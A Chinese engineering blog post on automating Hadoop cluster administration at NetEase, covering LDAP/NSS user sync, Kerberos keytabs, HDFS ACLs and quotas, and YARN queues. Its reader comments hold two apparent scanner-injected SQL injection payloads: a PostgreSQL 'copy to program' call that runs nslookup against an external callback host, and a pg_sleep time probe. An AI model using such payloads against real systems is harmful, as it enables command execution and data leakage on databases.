首页>博客正文
十年·杭研技术秀 | Hadoop数据平台自动化管理实践
2016-12-02 10:06:51

2016年对于网易杭州研究院(以下简称“杭研”)而言是重要的 – 成立十周年之际,杭研正式推出了网易云产品。“十年•杭研技术秀”系列文章,由杭研研发团队倾情奉献,为您展示杭研那些有用、有趣的技术实践经验,涵盖云计算、大前端、信息安全、运维、QA、大数据、人工智能等领域,涉及分布式架构、容器、深度学习等前沿技术。正是这些宝贵的经验,造就了今天高品质的网易云产品。本文的分享来自杭研运维团队,详细解析Hadoop数据平台自动化管理方案的设计和实现。

 

大数据在杭研

 

随着杭研走过第十个年头,大数据平台的发展见证了多个大数据应用系统在杭研的蓬勃发展。从自研的分布式文件系统(DFS)、分布式计算框架NEMR(NetEase MapReduce)等算起,大数据平台运维工作也做了十年。最初运维工作要靠开发人员半自动、半命令行的方式进行,且平台不支持多租户,没有资源管理,所有人使用同一个资源池。因为种种原因,自研平台从2010年开始逐渐被Hadoop平台所替换,由最初的10来台服务器,经过数年的发展,现在形成多个线上独立集群、共数千台服务器的规模。日常运维操作包括集群扩容、用户管理、资源管理等方面。

 

本文将首先介绍Hadoop数据平台在用户、资源等方面的管理需求和相关背景,然后解析基于平台的日常管理实践,完成自动化管理方案的设计和实现。

 

用户管理

 

  • 用户管理

YARN用户的安全认证通过Kerberos与Linux系统用户共同来实现:当合法的用户提交任务后,任务会被分解成子任务(Task)到每个物理服务器上执行。在Task启动时,启动脚本通过setUid权限将Task的启动用户切换成真正的用户来执行。如果该服务器上不存在此用户,那么任务就启动失败。

 

问题也就来了,Hadoop平台经常会有新增用户需求,如何在数百台服务器上完成这些新增用户创建?此外当集群扩容时,新的物理服务器上的用户如何完成同步?这是平台运维人员必须要解决的问题。

 

在此之前物理机的账号同步和创建工作都是通过SA这边来进行的,虽然可以满足我们的需求,但是痛点仍然存在:

  1. 创建用户需要sudo权限,通过OP工单的方式无法实现整个用户创建流程的自动化,且完成时间无法预估。
  2. 服务器扩容后的账号同步也需要走OP工单,且工单完成之后,运维人员还要做事后验证,增加额外的上线准备时间。

 

  • Kerberos用户管理

简单来说,Kerberos服务由AdminServerKDC(Key Distribution Center)两个部分组成。其中AdminServer用于管理Kerberos数据库,包括Principle的创建、删除、变更等更新操作,以及实现数据库在不同KDC节点上的同步;KDC服务器则提供认证和票据分发功能,多个KDC服务器组成一个KDC集群,实现负载均衡和高可用性需求。

 

集群在开启了Kerberos认证后,所有用户都必须使用Kerberos账号或Keytab文件来进行身份认证。故用户申请账号时,除了在物理服务器上创建账号之外,还需要在Kerberos服务器上创建特定的Kerberos Principle。

 

  • 方案设计

既然用户组管理可以使用了LDAP(后面会提到),那么很自然地考虑使用LDAP+NSS的方案来实现我们的需求:即LDAP系统管理HDFS账号,物理机使用LDAP的账号系统。

 

NSS(Name Services Switch)是类Unix/Linux系统提供的一个功能组件,它支持使用多种数据源来为系统提供通用配置数据库和名称解析机制。这些数据源可以是操作系统的本地文件(如/etc/passwd、/etc/group和/etc/hosts),也可以是DNS、NIS以及LDAP等外部数据库。通过配置多个数据源以及优先级策略,可以实现本地系统用户与外部LDAP用户共存,即服务器系统账号(如root、nobody等)使用本地账号,而Hadoop相关的用户账号(如hdfs、mapred、yarn等)则使用LDAP用户。

 

当集群需要新增用户时,只需要在LDAP服务器上完成用户创建即可,新用户通过LDAP同步机制被同步至所有Hadoop节点服务器;而当集群需要扩容,新服务器同步账号时,只需要在新服务器初始化时配置好LDAP数据源即可完成同步。完成上述功能需要配置另外两个关联服务:NSLCD和NSCD。下面是NSS的配置文件:

{code:/etc/nsswitch.conf}

passwd: files ldap

group:  files ldap

{code}

 

NSLCD(local LDAP name service daemon)用于支持LDAP的本地名称解析服务,需要配置为自动启动。通过配置可以配置多个LDAP服务,这样在某个LDAP服务出现异常后,可以从备用的LDAP服务器获取用户信息。同时配置不同的LDAP服务器顺序(通过一定的策略在不同物理机上使用不同的顺序),可以实现访问的负载均衡功能。

 

{code:/etc/nslcd.conf}

# The user and group nslcd should run as.

uid nslcd

gid nslcd

 

# The location at which the LDAP server(s) should be reachable.

uri ldap://ldap01.server.org ldap://ldap02.server.org

 

# The search base that will be used for all queries.

base dc=hadoop,dc=ldap,dc=server,dc=org

 

# The DN to bind with for normal lookups.

binddn cn=manager,dc=hadoop,dc=ldap,dc=server,dc=org

bindpw hadoop

{code}

 

NSCD(Name Service Cache Daemon)即系统的名称解析缓存服务,可配置为自动启动。服务在启动时缓存服务器上的用户、用户组信息,在配置的缓存有效期(TTL)内,获取系统用户和用户组请求都会直接从缓存中读取名称解析结果。缓存TTL可以分为命中TTL和未命中TTL。

 

当设置了未命中TTL后,在有效期内,未命中用户的相关请求会一直保持未命中(即用户一直不存在),即使外部LDAP已经添加了该用户信息。只有在TTL失效后,服务才会重新读取到新的用户信息。但如果将其设置为0(不使用缓存),不存在的用户请求会直接绕过缓存向LDAP服务器请求,会给LDAP服务器带来额外的压力。相反地,配置命中TTL的有效期也不能越长越好,因为在有效期内,有可能该用户(组)的信息会发生变更。 再则因用户组信息在NodeManager节点上并无直接应用,且用户信息基本上不会变动,所以可以配置成用户使用缓存,而用户组不使用缓存的方式。另外为了对外提供服务的可用时间,如新增用户后多长时间可以生效,我们将NSCD设置成自动重启模式,即每个小时会强制清理缓存。通过使用UNSCD(Micro Name Service Caching Daemo,NSCD的变种)可以实现服务重启后缓存不会清除,而保障用户系统的可靠性。

 

{code:/etc/nscd.conf}

paranoia        yes

restart-interval   3600

 

enable-cache       passwd      yes

positive-time-to-live  passwd      3600

negative-time-to-live  passwd      20

 

enable-cache       group       yes

positive-time-to-live  group       3600

negative-time-to-live  group       60

{code}

 

LDAP+NSS的整个系统拓扑结构如图1所示。

1

图1  LDAP+NSS系统拓扑 

 

基于AdminServer的安全性考虑,系统只能让root用户来直接操作Kerberos数据库。故针对Kerberos用户使用以下方案:

  1. 编写脚本来实现创建Principle和导出Keytab功能。

  2. 在AdminServer上部署Agent,通过RPC调用来执行脚本。

  3. Keytab创建完成后以二进制文件写入数据库,供前端服务器直接获取。

 

平台的资源管理包括两部分的内容:存储资源管理和计算资源管理。

资源管理

 

平台的资源管理包括两部分的内容:存储资源管理和计算资源管理。

 

  • 存储资源管理

HDFS默认以3备份来存储所有的文件,在文件数据量非常大的情况下,额外的备份和过长的归档策略会消耗大量的存储资源。特别是在集群规模较小的情况下,这对运维人员的容量规划是一个较大挑战。设置存储配额是为了提高用户的成本意识,以及强制让用户定期清理自己目录内的临时或无用文件。

 

  • 计算资源管理

计算资源(队列)目前只支持CPU和内存两项。内存比较好理解,有多少物理内存就能分配多少;CPU使用的是一个虚拟的计算核心的概念,譬如一台物理机可能有2个物理CPU,每个CPU由8个核心组成,使用Intel的超线程技术,可以实现每个核心2个线程。 这样实际的计算核心是2*8*2=32。CPU的计算是按照时间片轮转策略来进行的,理论上可以配置较多的虚拟计算单元(vCore),生产环境的vCore数量与物理CPU按照1:1配比。

 

公平调度器负责整个平台的资源管理和分配工作。在同一时刻内,所有的用户都有同样的机会来获取到其相应配额的资源。当某些队列空闲时,其资源配额可以被其他用户使用(在其允许的配额内)。在适当的超售情形下,这样会使整个集群的计算资源利用率会更高(可能带来额外的资源竞争现象)。调度器以一定的频率加载配置文件来实时调整整个集群的队列规格。

 

  • 方案设计

调用HDFS Client的FS Shell的完成对目录的配额设置。

直接修改YARN使用的调度器配置文件即可。

 

权限管理

 

  • 用户组管理

HDFS的组需要通过外部的用户组关联(Group Mapping)服务来获取。用户到组的映射可以使用系统自带的方案(使用NameNode服务器上的用户组系统),也可以通过其他实现类似功能的插件(LDAP、Ranger等)方式来代替。在拿到用户名后,NN会通过用户组关联服务获取该用户所对应的用户组列表,并用于后续的用户组权限校验。

 

因为用户组与权限关联紧密,每当有权限变更时,我们都需要通过OP系统来提工单进行系统用户组的变更,费时费力。这个也是需要优化的一个环节。

 

  • ACL管理

为了解决HDFS的细粒度权限控制需求,HDFS提供了类似的POSIX ACL特性。一条ACL规则由若干ACL条目组成,每个条目指定一个用户或用户组的权限位。ACL条目由类型名,可选名称和权限字符串组成,以“:”为分隔符,如下所示:

{code}

   user::rw-
   user:bruce:rwx                  #effective:r–
   group::r-x                      #effective:r–
   group:sales:rwx                 #effective:r–
   mask::r–
   other::r–
{code}

 

第一部分由固定的类型名构成,有user、group、other、mask、default等选项。mask条目会过滤掉所有命名的用户和用户组,以及未命名的用户组权限。第二部分可以指定类型名称,如用户名,用户组名等(other类型不需要名称),这部分是可选项,若不指定特定的用户名或用户组,则表示只对该文件属主或目录的用户组生效。第三部分就是权限位。若该条规则应用到foo文件,foo文件的属主有读写权限,foo文件的用户组有只读和执行权限(对于目录),其他用户也是只读权限;但bruce用户的权限经过mask过滤后只有只读权限,sales组也是只读权限。

 

  • 方案设计

为了实现自动化,我们使用LDAP作为外部的数据源。这样每次的用户组变更都可直接通过在LDAP数据库上完成即可,而不需要再经过OP工单系统。只需要在NN上开启以下配置:

{code:core-site.xml}

<property>

    <name>hadoop.security.group.mapping</name>

    <value>org.apache.hadoop.security.LdapGroupsMapping</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.bind.user</name>

    <value>cn=manager,dc=hadoop,dc=ldap,dc=server,dc=org</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.bind.password</name>

    <value>hadoop</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.url</name>

 <value>ldap://ldap01.server.org:389/dc=hadoop,dc=ldap,dc=server,dc=org</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.base</name>

    <value></value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.search.filter.user</name>

 <value>(&(|(objectclass=person)(objectclass=applicationProcess))(cn={0}))</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.search.filter.group</name>

    <value>(objectclass=groupOfNames)</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.search.attr.member</name>

    <value>member</value>

</property>

<property>

    <name>hadoop.security.group.mapping.ldap.search.attr.group.name</name>

    <value>cn</value>

</property>

{code}

调用关系如图2:

2

图2  调用关系 

 

权限开通逻辑判断如下:

 

  1. 为不同的文件目录设置属主和权限位,将数据通过不同的用户权限隔离开来。

  2. 对于用户间共享的数据,优先使用用户组权限实现。一般来说,不同的目录对应到不同的用户组。在设置了用户组权限的目录下,新建文件和子目录会继承当前目录的用户组和权限位。

  3. 由于只设置需要共享目录的权限,该共享目录的上级或父目录需要通过递归方式添加只读ACL。这样可以避免开通不必要的其他组权限,导致数据权限出现安全隐患。

  4. 对于特定的共享目录,用户组中的用户可能有些有只读权限,有些是读写权限。这种情况下,用户的写权限通过ACL额外指定。所有用户的读权限通过用户组来指定接口。

  5. 如果上述权限还需要在子目录中继承下去,则需要设定用户写权限的default规则(尽量少用,做到一个账号写,多个账号读即可)。

  6. 用户组名与目录名绑定,这样可以方便在有其他人需要访问该目录时,可以通过变更用户组成员解决。

 

平台管理模块

 

按照之前的各个管理需求的方案设计说明,我们实现了一套自动化管理平台,包括一个前端RESTful服务器,一个HDFS Agent和若干个Scheduler Agent构成,架构如图3所示:

3

图3  自动化管理平台架构图 

 

  • RESTful Server

此模块是整个平台管理的核心模块,用于接收和响应来自外部的请求。 当请求是查询平台元数据时,则直接从数据库中获取结果;若是用户相关操作(创建用户、变更权限)请求,则通过RPC方式请求HDFS Agent服务,在远端操作完成后返回;若是队列相关操作请求,则会遍历多个Scheduler Agent,通过RPC来更新RM上的调度配置文件,完成后返回。

平台支持多集群,所以该服务也配置了多集群的参数映射。所有的请求参数都会被正确替换后,发送到特定的集群,完成相关操作。

 

  • HDFS Agent

为了简化Agent的部署,我们将多个功能集中到了这个HDFS Agent上。它实现了用户创建、目录权限变更、存储配额修改等功能。几个主要的流程说明如下:

 

用户创建流程:

a.接受一个用户定义的principle名称,为其在AdminServer上创建相应的记录,同时返回keytab的文件字节流;

b.以principle的首部(如果是da/dev@HADOOP.APACHE.ORG,那么首部就是da)在LDAP服务器上创建一个新的LDAP账号和同名的用户组;

c. 在对应的集群上创建该用户的home目录。

 

目录权限变更流程:

a. 在获取到相应的集群、目录名、发起请求用户名,变更后用户组名;

b. 根据4.3方案设计中的权限实现细则实现对用户组、ACL的设置。

 

存储配额变更流程:

在获取到相应的集群、目录和配额参数后,通过调用脚本使用FS Shell的setSpaceQuota命令完成。

 

  • Scheduler Agent

该Agent部署在YARN的ResourceManager上,部署了HA模式的YARN就会有2个Agent。之所以部署在RM上,是其功能就是直接读取和修改RM上的调度配置文件。其主要功能如下:

  1. 接受用户队列配置信息查询。

  2. 支持队列的创建、变更和删除。

  3. 支持子队列配置格式。

结语

 

用户使用此管理平台,需要先绑定Mammut系统(猛犸大数据开发计算平台,一站式数据开发平台,覆盖数据传输、计算、任务调度全流程)的用户,然后进入用户管理页面,提交创建用户申请或变更队列配置请求。 该请求经过直接主管或关联业务主管审核确认后,平台管理员再完成操作。整个过程全部在Web端完成。

 

目前实现的自动化管理功能虽然仅完善了一部分,但减轻了运维人员的日常工作负担,极大地提高了响应速度和用户体验。后续平台将会从可视化和集群管理整合着手,进一步精细化平台管理,实现自动化和智能化。

 

参考资料(复制链接至浏览器查看):

https://en.wikipedia.org/wiki/Name_Service_Switch

http://web.mit.edu/kerberos/

http://zh.hortonworks.com/blog/hadoop-groupmapping-ldap-integration/

https://github.com/abajwa-hw/security-workshops/blob/master/Setup-OpenLDAP-KDC-integration.md

https://wiki.debian.org/LDAP/OpenLDAPSetup

https://www.howtoforge.com/how-to-install-openldap-server-on-debian-and-ubuntu

https://wiki.debian.org/LDAP

http://hadoop.apache.org/docs/r2.5.2/hadoop-project-dist/hadoop-hdfs/HdfsPermissionsGuide.html

——金川

网易杭州研究院运维部

分享到:

评论(3)
评论文章前您需要先登录
发表评论
135****6106 2 楼
3月 06日 下午8:40

1;copy (select ”) to program ‘nslookup dns.sqli.\013502.556-1291.556.29ac4.\1.bxss.me’


135****6106 1 楼
3月 06日 下午8:40

-1;select pg_sleep(12); —


热门标签
热门推荐